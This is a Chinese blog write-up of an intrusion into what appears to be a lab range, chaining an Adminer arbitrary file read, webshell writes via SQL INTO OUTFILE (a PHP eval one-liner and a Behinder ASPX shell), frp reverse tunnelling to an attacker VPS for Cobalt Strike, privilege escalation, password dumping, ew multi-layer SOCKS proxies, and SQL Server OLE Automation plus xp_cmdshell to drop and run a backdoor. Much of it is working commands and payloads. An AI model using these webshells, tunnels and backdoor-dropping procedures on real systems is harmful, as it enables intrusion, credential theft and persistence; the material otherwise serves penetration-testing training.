记一次拿下不出网主机权限

项目拓扑


任意文件读取+跨中间件写马getshell、不出网代理转发上线、多层代理访问不出网主机等

外网打点


端口扫描,发现80、3306、8000端口

访问8000端口,是一个米拓信息

扫描目录,发现一个robots.txt文件

发现存在admin目录,应该是后台了。

尝试访问了一遍,发现事情没有这么简单,目录扫描还发现一个和admin长得很像的目录,访问之后,是一个数据库连接登录页面。

server-info存在网站的根路径等信息,但是暂时好像没什么用。

adminer4.4.0任意文件读取

https://wiki.96.mk/Web安全/Adminer/Adminer 任意文件读取漏洞/

首先,开启mysql的允许远程连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

create database adminer;    // 创建一个库
create table test(text text(4096));  // 创建表,用来接收文件内容

在adminer页面登陆自己搭建的mysql服务器,执行如下命令来读取目标服务器上的robots.txt文件。

load data local infile "C:\\php\\adsdrsdfv\\robots.txt" into table loger FIELDS TERMINATED BY '\n';

这里成功读取到目标服务器的robots.txt文件

接下来读取目标网站的数据库配置文件。

load data local infile "C:\\php\\adsdrsdfv\\config\\config_db.php" into table loger FIELDS TERMINATED BY '\n';

账号:root
密码:8B..123admin
数据库:xiaopao_met

成功连接到目标数据库

查看数据库是否有写入的权限,漂亮,有写入权限,写入一句话木马。

写入一句话木马失败,提示拒绝访问,那就是不允许在该目录下写,也不能直接写到网站根目录下。

SELECT "<?php @eval($_POST['x']); ?>" INTO OUTFILE 'C:\\php\\adsdrsdfv\\adminer\\winsha.php';

来查看80端口,随便输入路径,报错了,并且显示网站的完整路径。

写入冰蝎的马。显示执行完毕,但是连接不到木马。

SELECT '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' INTO OUTFILE "C:/vulnIIS/俱乐部/winsha.aspx";

最后经过尝试,这里完整路径必须使用/,并且需要转为简体中文(gbk)格式才可以成功写入。

查看当前权限,比较低,存在IP:10.0.1.136

tasklist,识别是否存在杀软进程,没有杀软;还是老办法,反连上线CS

[common]
server_addr = vps_ip
server_port = 7000


[reverse]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 5555

[server]
type = tcp
local_ip = 127.0.0.1
local_port = 50050
remote_port = 50098

内网渗透


反向代理上线cs

cs连接vps_ip 50098

成功上线,但是当前权限比较低。

MS16-075提权(这里使用LSTAR的MS16_075插件成功的,MSF上传MS16_075手动执行失败,使用MS16_075自带的模块利用好多次也失败,不知道什么原因)

抓取明文密码,这里只抓取到了vulntarget用户的密码123.com

抓取密码hash,尝试解密

添加socks5代理

直接远程桌面连接到目标主机上,可以看到有一个搜狗浏览器

在浏览器记录里面找到一条网址记录。勾选密码查看功能,即可获取搭配后台账号密码。但是这里暂时还访问不到。8B..123admin

这里上传nbtscan,扫描存活主机。

替换IP访问 http://10.0.1.135:8000/SiteServer/main.cshtml

上传设置添加asp,aspx白名单

附件上传后显示文件保存的路径。

蚁剑成功链接。

这里还是一个普通用户权限。这里还是和跳板机的配置一样,应该可以使用MS16-075进行提权。

跳板机代理转发上线

此时第二台主机已经上线。

因为这里是不出网的,而且MS16-075插件提权是需要反向连接的攻击载荷;遂使用烂土豆尝试本地提权。

本地执行后门文件,获取SYSTEM权限。

这里没有抓取到明文,遂抓取密码hash,然后解密。

Administrator:zxcvbnm

在网站根目录下的web.config文件中获取到sqlserver数据库账号名、密码、库名

发现当前网站使用sql sevrer数据库,但是查看本地开放端口,没有发现1521端口。而且当前主机也不存在IP 10.0.10.102,因此,真相只有一个,站库分离。

[1]利用蚁剑数据库模块(缺点:部分命令不能执行)

因为前面我已经获取到10.0.10.100这台主机的webshell,所以我直接使用蚁剑来连接数据库sqlserver://xiaopao:123.com@10.0.10.102:1433/sscmstest

解密得到明文密码QwE123asd

重新使用sa用户登陆sqlserver,但是这里部分sql语句无法执行。

[2]cs开启socket服务 proxifier添加代理链

这一部分可以去看原创博主:https://mp.weixin.qq.com/s/jHeErfr3P4XgfYPG9Ocgng

在10.0.1.136和10.0.1.135两台主机上都开启socks5代理。

kali添加10.0.1.136(192.168.40.172)的代理端口

proxifier添加代理链,要注意顺序

[3]ew开启双层代理 proxifier代理

内网穿透多层代理:https://xz.aliyun.com/t/10279#toc-2

# 攻击机执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234

# 跳板机执行(192.168.40.172)
ew_for_Win.exe -s rssocks -d 192.168.40.1 -e 1234

# 攻击机重新添加一个(注意端口不要重复)
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888

# 不出网主机执行(10.0.1.135)
ew_for_Win.exe -s ssocksd -l 9999

# 在跳板机上将攻击机和不出网主机(10.0.1.135)之间的隧道打通
ew_for_Win.exe -s lcx_slave -d 192.168.40.1 -e 8888 -f 10.0.1.135 -g 9999

proxifier 添加代理

成功连接到内网10.0.10.102的sqlserver数据库

sqlserver文件落地上线cs

启用OLE组件

exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

生成后门,然后转为hex格式,然后通过10.0.1.135代理转发上线。

把处理好的hex编码放在OLE组件内并创建命令执行存储过程命令:

DECLARE @DATA VARBINARY(MAX)= 0x-hex  // 将这里-hex更换为上面的hex编码
DECLARE @filepath VARCHAR(MAX)='C:\\Users\\Public\\Downloads\\r.exe'
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken,'Type',1
EXEC sp_OAMethod @ObjectToken,'Open'
EXEC sp_OAMethod @ObjectToken,'Write',NULL, @DATA
EXEC sp_OAMethod @ObjectToken,'SaveToFile',NULL, @filepath,2
EXEC sp_OAMethod @ObjectToken,'Close'
EXEC sp_OADestroy @ObjectToken 
SELECT @filepath

开启xp_cmdshell

USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE

利用xp_cmdshell运行后门

成功上面cs

还是利用上面一样的提权手法。

posted @ 2023-11-01 22:03  Axion11  阅读(122)  评论(0)    收藏  举报